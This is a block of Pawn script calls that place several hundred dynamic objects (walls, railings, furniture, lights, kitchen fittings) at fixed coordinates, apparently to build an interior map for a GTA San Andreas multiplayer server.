	CreateDynamicObject(16101,1815.97167969,-1560.16894531,5702.91113281-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1815.97656250,-1550.82714844,5702.91113281-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1803.93652344,-1560.45410156,5702.91113281-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1803.96191406,-1551.02636719,5702.91113281-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(3944,1814.25781250,-1540.88378906,5698.92626953-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(3944,1799.69531250,-1548.69628906,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1796.11523438,-1550.85681152,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1796.09692383,-1548.84777832,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1796.11523438,-1550.85644531,5702.41845703-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1796.09667969,-1548.84765625,5702.42041016-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1799.67871094,-1544.94726562,5698.94775391-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1799.69482422,-1548.68481445,5702.41259766-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1799.67871094,-1544.94726562,5702.43017578-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1816.79003906,-1544.87695312,5701.42431641-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1820.78906250,-1544.86230469,5698.90869141-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1820.79003906,-1548.53906250,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1820.78417969,-1548.52832031,5702.42822266-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1803.00268555,-1548.67028809,5701.42041016-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1820.77734375,-1544.85351562,5702.40673828-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1803.19531250,-1548.66308594,5702.41259766-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1817.29003906,-1544.83593750,5702.40673828-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(2774,1810.42285156,-1557.33691406,5711.89599609-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2774,1810.27685547,-1570.86743164,5711.89599609-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(9339,1803.55761719,-1570.54980469,5702.76074219-2000,0.00000000,90.00000000,359.99450684,0,15);
	CreateDynamicObject(3944,1793.39819336,-1557.61108398,5698.93017578-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(9339,1803.55371094,-1559.57031250,5702.76074219-2000,0.00000000,90.00000000,359.98352051,0,15);
	CreateDynamicObject(8661,1784.27832031,-1579.65625000,5702.60644531-2000,0.00000000,179.99450684,0.08789062,0,15);
	CreateDynamicObject(9339,1816.52185059,-1562.73168945,5702.76074219-2000,0.00000000,90.00000000,180.06707764,0,15);
	CreateDynamicObject(9339,1816.53161621,-1570.88439941,5702.76074219-2000,0.00000000,90.00000000,180.06591797,0,15);
	CreateDynamicObject(8661,1835.85986328,-1573.16455078,5702.61279297-2000,0.00000000,179.98352051,0.18676758,0,15);
	CreateDynamicObject(9339,1803.05957031,-1582.34948730,5702.76074219-2000,0.00000000,90.00000000,90.07922363,0,15);
	CreateDynamicObject(8661,1817.83520508,-1591.58935547,5702.91748047-2000,0.00000000,359.97802734,0.09338379,0,15);
	CreateDynamicObject(8661,1810.61291504,-1591.61975098,5702.60009766-2000,0.00000000,179.99450684,0.08789062,0,15);
	CreateDynamicObject(3944,1814.25781250,-1540.88378906,5702.41992188-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(9339,1805.76745605,-1552.08361816,5702.76074219-2000,0.00000000,90.00000000,270.37957764,0,15);
	CreateDynamicObject(8661,1817.08593750,-1542.71777344,5702.60644531-2000,0.00000000,179.98352051,0.36254883,0,15);
	CreateDynamicObject(8661,1812.46984863,-1542.76843262,5702.91748047-2000,0.00000000,359.98352051,0.28799438,0,15);
	CreateDynamicObject(14414,1810.02880859,-1579.82275391,5699.69384766-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(14414,1810.00781250,-1574.50964355,5699.52880859-2000,359.93566895,179.95227051,180.11187744,0,15);
	CreateDynamicObject(8661,1808.03527832,-1586.85168457,5682.88867188-2000,0.00000000,269.98022461,0.00000000,0,15);
	CreateDynamicObject(9339,1808.17785645,-1589.91906738,5699.73095703-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(8661,1812.04882812,-1586.80957031,5682.87597656-2000,0.00000000,269.97802734,179.99450684,0,15);
	CreateDynamicObject(970,1804.20080566,-1579.57775879,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1804.19970703,-1575.43432617,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1804.20214844,-1571.36157227,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1804.18688965,-1554.67761230,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1804.19470215,-1558.83972168,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1804.19726562,-1563.01464844,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1804.19958496,-1567.18603516,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1806.31152344,-1552.64550781,5703.25097656-2000,0.00000000,179.99450684,180.28564453,0,15);
	CreateDynamicObject(970,1809.72265625,-1552.63183594,5703.25097656-2000,0.00000000,179.99450684,180.28564453,0,15);
	CreateDynamicObject(970,1813.80078125,-1552.60937500,5703.25097656-2000,0.00000000,179.99450684,180.28564453,0,15);
	CreateDynamicObject(970,1806.26147461,-1581.68676758,5703.25097656-2000,0.00000000,179.99450684,180.28564453,0,15);
	CreateDynamicObject(970,1815.87304688,-1554.67883301,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1815.88781738,-1558.80700684,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1815.88183594,-1562.94421387,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1815.87670898,-1567.06286621,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1815.86779785,-1571.18701172,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1815.87207031,-1575.30664062,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1815.86938477,-1579.58117676,5703.25097656-2000,0.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1813.81652832,-1581.65966797,5703.25097656-2000,0.00000000,179.99450684,180.28564453,0,15);
	CreateDynamicObject(9339,1808.17773438,-1589.91894531,5701.12939453-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(9339,1808.17773438,-1589.91894531,5702.19677734-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(9339,1811.89672852,-1589.91967773,5699.73095703-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(9339,1811.89648438,-1589.91894531,5701.12939453-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(9339,1811.89648438,-1589.91894531,5702.18896484-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(8661,1808.32141113,-1586.81933594,5682.88867188-2000,0.00000000,269.97802734,180.00000000,0,15);
	CreateDynamicObject(8661,1811.75683594,-1586.86145020,5682.88867188-2000,0.00000000,269.97802734,0.00000000,0,15);
	CreateDynamicObject(2930,1801.79150391,-1552.40869141,5702.05517578-2000,0.00000000,0.00000000,0.48001099,0,15);
	CreateDynamicObject(2930,1801.77014160,-1557.13854980,5702.05517578-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.83581543,-1561.86804199,5702.05517578-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.94006348,-1566.64123535,5702.05517578-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.93615723,-1571.29345703,5702.05517578-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.90808105,-1576.06445312,5702.05517578-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.95166016,-1580.82141113,5702.05517578-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.95117188,-1580.82128906,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.92639160,-1576.08361816,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.91748047,-1571.30688477,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.90710449,-1566.63781738,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.83142090,-1561.85119629,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.78356934,-1557.14074707,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1801.76660156,-1552.39672852,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1817.90026855,-1552.16015625,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1817.90173340,-1556.90173340,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1817.97802734,-1561.65954590,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1818.01013184,-1566.40661621,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1818.06726074,-1571.15270996,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1818.04797363,-1575.87060547,5705.54882812-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1818.10192871,-1580.65954590,5705.53613281-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1818.10156250,-1580.65917969,5702.04150391-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1818.05444336,-1575.90368652,5702.04150391-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1818.05017090,-1571.16259766,5702.04150391-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1818.03869629,-1566.39038086,5702.04150391-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1817.97448730,-1561.65429688,5702.04150391-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1817.89257812,-1556.90429688,5702.04150391-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(2930,1817.90490723,-1552.17919922,5702.04150391-2000,0.00000000,0.00000000,0.47790527,0,15);
	CreateDynamicObject(1886,1815.44580078,-1584.49584961,5702.71582031-2000,32.00000000,0.00000000,212.67195129,0,15);
	CreateDynamicObject(1886,1815.44531250,-1584.49511719,5706.43798828-2000,20.17175293,359.18182373,212.95001221,0,15);
	CreateDynamicObject(1886,1804.72534180,-1584.74670410,5706.43798828-2000,20.17089844,359.18151855,149.02813721,0,15);
	CreateDynamicObject(1886,1811.33569336,-1570.86816406,5706.43798828-2000,40.93139648,359.04653931,157.44683838,0,15);
	CreateDynamicObject(1886,1809.10241699,-1571.58654785,5706.43798828-2000,40.92956543,359.04418945,346.48513794,0,15);
	CreateDynamicObject(1886,1809.33081055,-1557.48364258,5706.43798828-2000,40.92407227,359.04418945,346.48132324,0,15);
	CreateDynamicObject(1886,1802.70556641,-1550.57910156,5702.68164062-2000,4.92764282,359.27514648,25.83746338,0,15);
	CreateDynamicObject(1886,1814.60083008,-1549.29809570,5702.89746094-2000,20.92602539,359.22656250,259.74060059,0,15);
	CreateDynamicObject(1886,1802.39941406,-1523.69921875,5702.79980469-2000,20.92346191,359.21997070,135.73059082,0,15);
	CreateDynamicObject(1432,1812.47045898,-1561.33886719,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1432,1807.20642090,-1559.40454102,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1432,1808.27185059,-1563.35205078,5699.42871094-2000,0.00000000,0.00000000,324.00000000,0,15);
	CreateDynamicObject(2964,1810.37011719,-1567.12988281,5699.42871094-2000,0.00000000,0.00000000,1.53259277,0,15);
	CreateDynamicObject(3001,1810.49450684,-1567.13024902,5700.35888672-2000,0.00000000,0.00000000,288.00000000,0,15);
	CreateDynamicObject(3002,1810.77832031,-1566.83886719,5700.35888672-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3004,1809.68261719,-1567.60351562,5700.32080078-2000,0.00000000,0.00000000,279.99755859,0,15);
	CreateDynamicObject(2999,1810.80786133,-1567.15295410,5700.35888672-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3000,1810.68029785,-1566.77563477,5700.35888672-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3100,1810.70202637,-1566.98657227,5700.35888672-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1771,1799.17675781,-1553.91699219,5700.06250000-2000,0.00000000,0.00000000,267.99499512,0,15);
	CreateDynamicObject(1771,1799.13684082,-1558.71337891,5700.06250000-2000,0.00000000,0.00000000,267.99499512,0,15);
	CreateDynamicObject(1771,1799.14404297,-1563.45874023,5700.06250000-2000,0.00000000,0.00000000,267.99499512,0,15);
	CreateDynamicObject(1771,1799.21130371,-1568.11999512,5700.06250000-2000,0.00000000,0.00000000,267.99499512,0,15);
	CreateDynamicObject(1771,1799.20434570,-1572.90747070,5700.06250000-2000,0.00000000,0.00000000,267.99499512,0,15);
	CreateDynamicObject(1771,1799.41284180,-1577.63220215,5700.06250000-2000,0.00000000,0.00000000,267.99499512,0,15);
	CreateDynamicObject(1771,1799.36816406,-1582.29760742,5700.06250000-2000,0.00000000,0.00000000,267.99499512,0,15);
	CreateDynamicObject(1771,1799.36816406,-1582.29687500,5703.52832031-2000,0.00000000,0.00000000,267.99499512,0,15);
	CreateDynamicObject(1771,1799.17224121,-1577.66955566,5703.52832031-2000,0.00000000,0.00000000,268.57098389,0,15);
	CreateDynamicObject(1771,1799.14794922,-1572.91101074,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1799.08996582,-1568.09118652,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1799.03686523,-1563.54675293,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1798.96545410,-1558.70800781,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1798.96105957,-1553.98596191,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.28747559,-1552.52319336,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.30163574,-1557.24548340,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.35961914,-1561.95336914,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.38452148,-1566.76086426,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.35400391,-1571.39025879,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.36853027,-1576.12365723,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.35913086,-1580.90112305,5703.52832031-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.29614258,-1580.97509766,5699.96093750-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1820.92456055,-1576.25769043,5699.96093750-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.20080566,-1571.42248535,5699.96093750-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.33178711,-1566.68542480,5699.96093750-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.04321289,-1561.90600586,5699.96093750-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1821.28369141,-1557.21472168,5699.96093750-2000,0.00000000,0.00000000,268.56628418,0,15);
	CreateDynamicObject(1771,1820.87792969,-1552.49804688,5699.96093750-2000,0.00000000,0.00000000,268.56079102,0,15);
	CreateDynamicObject(8661,1795.26757812,-1536.16308594,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(8661,1815.89160156,-1523.47851562,5702.61279297-2000,0.00000000,179.98352051,0.35705566,0,15);
	CreateDynamicObject(3944,1799.73852539,-1536.44458008,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1799.67260742,-1546.68945312,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1799.65393066,-1544.67834473,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1799.63574219,-1540.93164062,5698.94775391-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1799.72363281,-1532.69433594,5698.94775391-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(3944,1814.18847656,-1520.82421875,5698.92626953-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(8661,1835.25683594,-1536.17382812,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3944,1817.83496094,-1540.92578125,5698.90869141-2000,0.00000000,0.00000000,89.35729980,0,15);
	CreateDynamicObject(3944,1806.06298828,-1527.03234863,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(8661,1795.67968750,-1516.17871094,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3944,1781.63525391,-1532.77685547,5698.94775391-2000,0.00000000,0.00000000,180.24169922,0,15);
	CreateDynamicObject(8661,1776.05468750,-1523.70898438,5702.59619141-2000,0.00000000,179.98352051,0.36254883,0,15);
	CreateDynamicObject(3944,1791.41503906,-1526.25390625,5698.92626953-2000,0.00000000,0.00000000,90.46691895,0,15);
	CreateDynamicObject(3944,1797.77148438,-1537.70019531,5698.92626953-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(3944,1806.04492188,-1523.32519531,5698.94775391-2000,0.00000000,0.00000000,180.43365479,0,15);
	CreateDynamicObject(3944,1826.11132812,-1530.63671875,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1791.43884277,-1508.18127441,5698.92773438-2000,0.00000000,0.00000000,89.35729980,0,15);
	CreateDynamicObject(3944,1795.85205078,-1514.72521973,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1813.94482422,-1514.56762695,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1828.83007812,-1537.07421875,5698.92626953-2000,0.00000000,0.00000000,270.24719238,0,15);
	CreateDynamicObject(2774,1823.34277344,-1538.48046875,5711.89599609-2000,0.00000000,0.00000000,358.07995605,0,15);
	CreateDynamicObject(2774,1809.00000000,-1518.69995117,5711.89990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2165,1808.19152832,-1540.04028320,5699.42871094-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(2166,1807.18457031,-1537.88281250,5699.42871094-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(2774,1810.47070312,-1529.65722656,5711.89599609-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2165,1803.94140625,-1540.14160156,5699.42871094-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1715,1806.70019531,-1540.58007812,5699.42871094-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(1715,1802.51660156,-1540.80883789,5699.42871094-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(2186,1803.02929688,-1536.03808594,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1893,1802.15551758,-1537.94140625,5702.89648438-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1806.49743652,-1537.82360840,5702.89648438-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1811.81811523,-1541.87536621,5702.89648438-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1811.57324219,-1533.77832031,5702.89648438-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1813.62695312,-1524.57031250,5702.89648438-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1805.00000000,-1531.40002441,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1794.44824219,-1529.83020020,5702.89648438-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1744,1806.08642578,-1535.55322266,5700.98535156-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1805.77929688,-1536.04101562,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1806.76660156,-1536.03320312,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2606,1800.96679688,-1538.12011719,5701.23583984-2000,0.00000000,0.00000000,90.47241211,0,15);
	CreateDynamicObject(2606,1800.96679688,-1538.12011719,5702.10107422-2000,0.00000000,0.00000000,90.47241211,0,15);
	CreateDynamicObject(2606,1800.96679688,-1538.12011719,5701.66699219-2000,0.00000000,0.00000000,90.47790527,0,15);
	CreateDynamicObject(2737,1805.56823730,-1541.70532227,5701.09423828-2000,0.00000000,0.00000000,180.28797913,0,15);
	CreateDynamicObject(2608,1800.90527344,-1538.15795898,5700.02880859-2000,0.00000000,0.00000000,90.40002441,0,15);
	CreateDynamicObject(1495,1808.76147461,-1547.63208008,5699.42480469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1495,1811.76184082,-1547.60510254,5699.42480469-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(1495,1811.73828125,-1545.82873535,5699.42480469-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(1495,1808.73071289,-1545.87463379,5699.42480469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2922,1812.06420898,-1545.75073242,5700.73779297-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3944,1784.99609375,-1527.20996094,5698.93408203-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(3944,1784.98925781,-1523.48278809,5698.94775391-2000,0.00000000,0.00000000,180.42846680,0,15);
	CreateDynamicObject(1495,1797.00830078,-1525.15258789,5699.42480469-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(1495,1794.00976562,-1525.18676758,5699.42480469-2000,0.00000000,0.00000000,360.00000000,0,15);
	CreateDynamicObject(3944,1803.03417969,-1523.34570312,5701.43505859-2000,0.00000000,0.00000000,180.42846680,0,15);
	CreateDynamicObject(3944,1802.77673340,-1527.05676270,5701.42382812-2000,0.00000000,0.00000000,0.48889160,0,15);
	CreateDynamicObject(2922,1793.60168457,-1524.29077148,5701.02148438-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2922,1797.37084961,-1526.25024414,5701.02148438-2000,0.00000000,0.00000000,181.02421570,0,15);
	CreateDynamicObject(2137,1817.43090820,-1543.30224609,5699.42871094-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(2137,1817.42773438,-1544.26660156,5699.42871094-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(2140,1817.42956543,-1542.31909180,5699.42871094-2000,0.00000000,359.90399170,89.92001343,0,15);
	CreateDynamicObject(2305,1817.43859863,-1545.22509766,5699.42871094-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(2137,1818.42675781,-1545.23071289,5699.42871094-2000,0.00000000,0.00000000,179.72790527,0,15);
	CreateDynamicObject(2137,1819.39123535,-1545.23596191,5699.42871094-2000,0.00000000,0.00000000,179.72534180,0,15);
	CreateDynamicObject(2136,1823.29870605,-1545.24780273,5699.43505859-2000,0.00000000,0.00000000,180.04756165,0,15);
	CreateDynamicObject(2135,1820.34899902,-1545.24804688,5699.42871094-2000,0.00000000,0.00000000,179.80798340,0,15);
	CreateDynamicObject(2139,1821.32910156,-1545.22949219,5699.42871094-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2986,1809.74877930,-1562.58264160,5706.32080078-2000,0.00000000,179.99993896,0.00000000,0,15);
	CreateDynamicObject(1811,1821.18847656,-1540.96032715,5700.03808594-2000,0.00000000,0.00000000,88.65600586,0,15);
	CreateDynamicObject(2357,1822.64355469,-1542.21972656,5699.82226562-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1811,1822.21960449,-1540.97045898,5700.03808594-2000,0.00000000,0.00000000,88.65417480,0,15);
	CreateDynamicObject(1811,1823.22497559,-1540.99890137,5700.03808594-2000,0.00000000,0.00000000,88.65417480,0,15);
	CreateDynamicObject(1811,1824.23706055,-1541.00854492,5700.03808594-2000,0.00000000,0.00000000,88.65417480,0,15);
	CreateDynamicObject(1811,1824.11352539,-1543.46655273,5700.03808594-2000,0.00000000,0.00000000,269.64624023,0,15);
	CreateDynamicObject(1811,1823.15698242,-1543.43945312,5700.03808594-2000,0.00000000,0.00000000,269.35491943,0,15);
	CreateDynamicObject(1811,1822.22631836,-1543.41857910,5700.03808594-2000,0.00000000,0.00000000,269.35180664,0,15);
	CreateDynamicObject(1811,1821.21301270,-1543.42346191,5700.03808594-2000,0.00000000,0.00000000,269.35180664,0,15);
	CreateDynamicObject(2290,1827.59228516,-1534.86401367,5699.42871094-2000,0.00000000,0.00000000,178.81640625,0,15);
	CreateDynamicObject(2290,1829.13146973,-1531.40148926,5699.42871094-2000,0.00000000,0.00000000,269.77349854,0,15);
	CreateDynamicObject(2239,1828.80102539,-1534.66772461,5699.42871094-2000,0.00000000,0.00000000,170.00000000,0,15);
	CreateDynamicObject(1754,1824.04663086,-1533.53955078,5699.42871094-2000,0.00000000,0.00000000,120.00000000,0,15);
	CreateDynamicObject(1814,1826.22839355,-1533.07885742,5699.42871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1778,1817.25036621,-1541.87622070,5699.42871094-2000,0.00000000,0.00000000,190.00000000,0,15);
	CreateDynamicObject(2297,1825.99987793,-1530.08557129,5699.42871094-2000,0.00000000,0.00000000,315.47204590,0,15);
	CreateDynamicObject(2964,1820.30004883,-1534.50000000,5699.39990234-2000,0.00000000,0.00000000,88.47290039,0,15);
	CreateDynamicObject(3004,1820.19995117,-1535.19995117,5700.29980469-2000,0.00000000,0.00000000,343.99291992,0,15);
	CreateDynamicObject(3106,1820.19995117,-1534.40002441,5700.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3105,1820.69995117,-1534.09997559,5700.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3103,1819.84460449,-1534.58190918,5700.17871094-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3102,1819.87048340,-1534.57617188,5700.20605469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(3042,1810.27856445,-1570.02526855,5705.46337891-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2611,1829.66809082,-1542.43457031,5701.15332031-2000,0.00000000,0.00000000,270.19201660,0,15);
	CreateDynamicObject(2612,1829.56201172,-1537.86413574,5701.12744141-2000,0.00000000,0.00000000,270.19201660,0,15);
	CreateDynamicObject(1615,1810.40820312,-1547.75317383,5705.97070312-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(18070,1799.44238281,-1520.61328125,5699.91113281-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(18070,1799.36877441,-1511.49890137,5699.91113281-2000,0.00000000,0.00000000,90.49438477,0,15);
	CreateDynamicObject(1892,1801.55957031,-1515.51367188,5699.42871094-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(2422,1799.87145996,-1517.93786621,5700.42138672-2000,0.00000000,0.00000000,180.00000000,0,15);
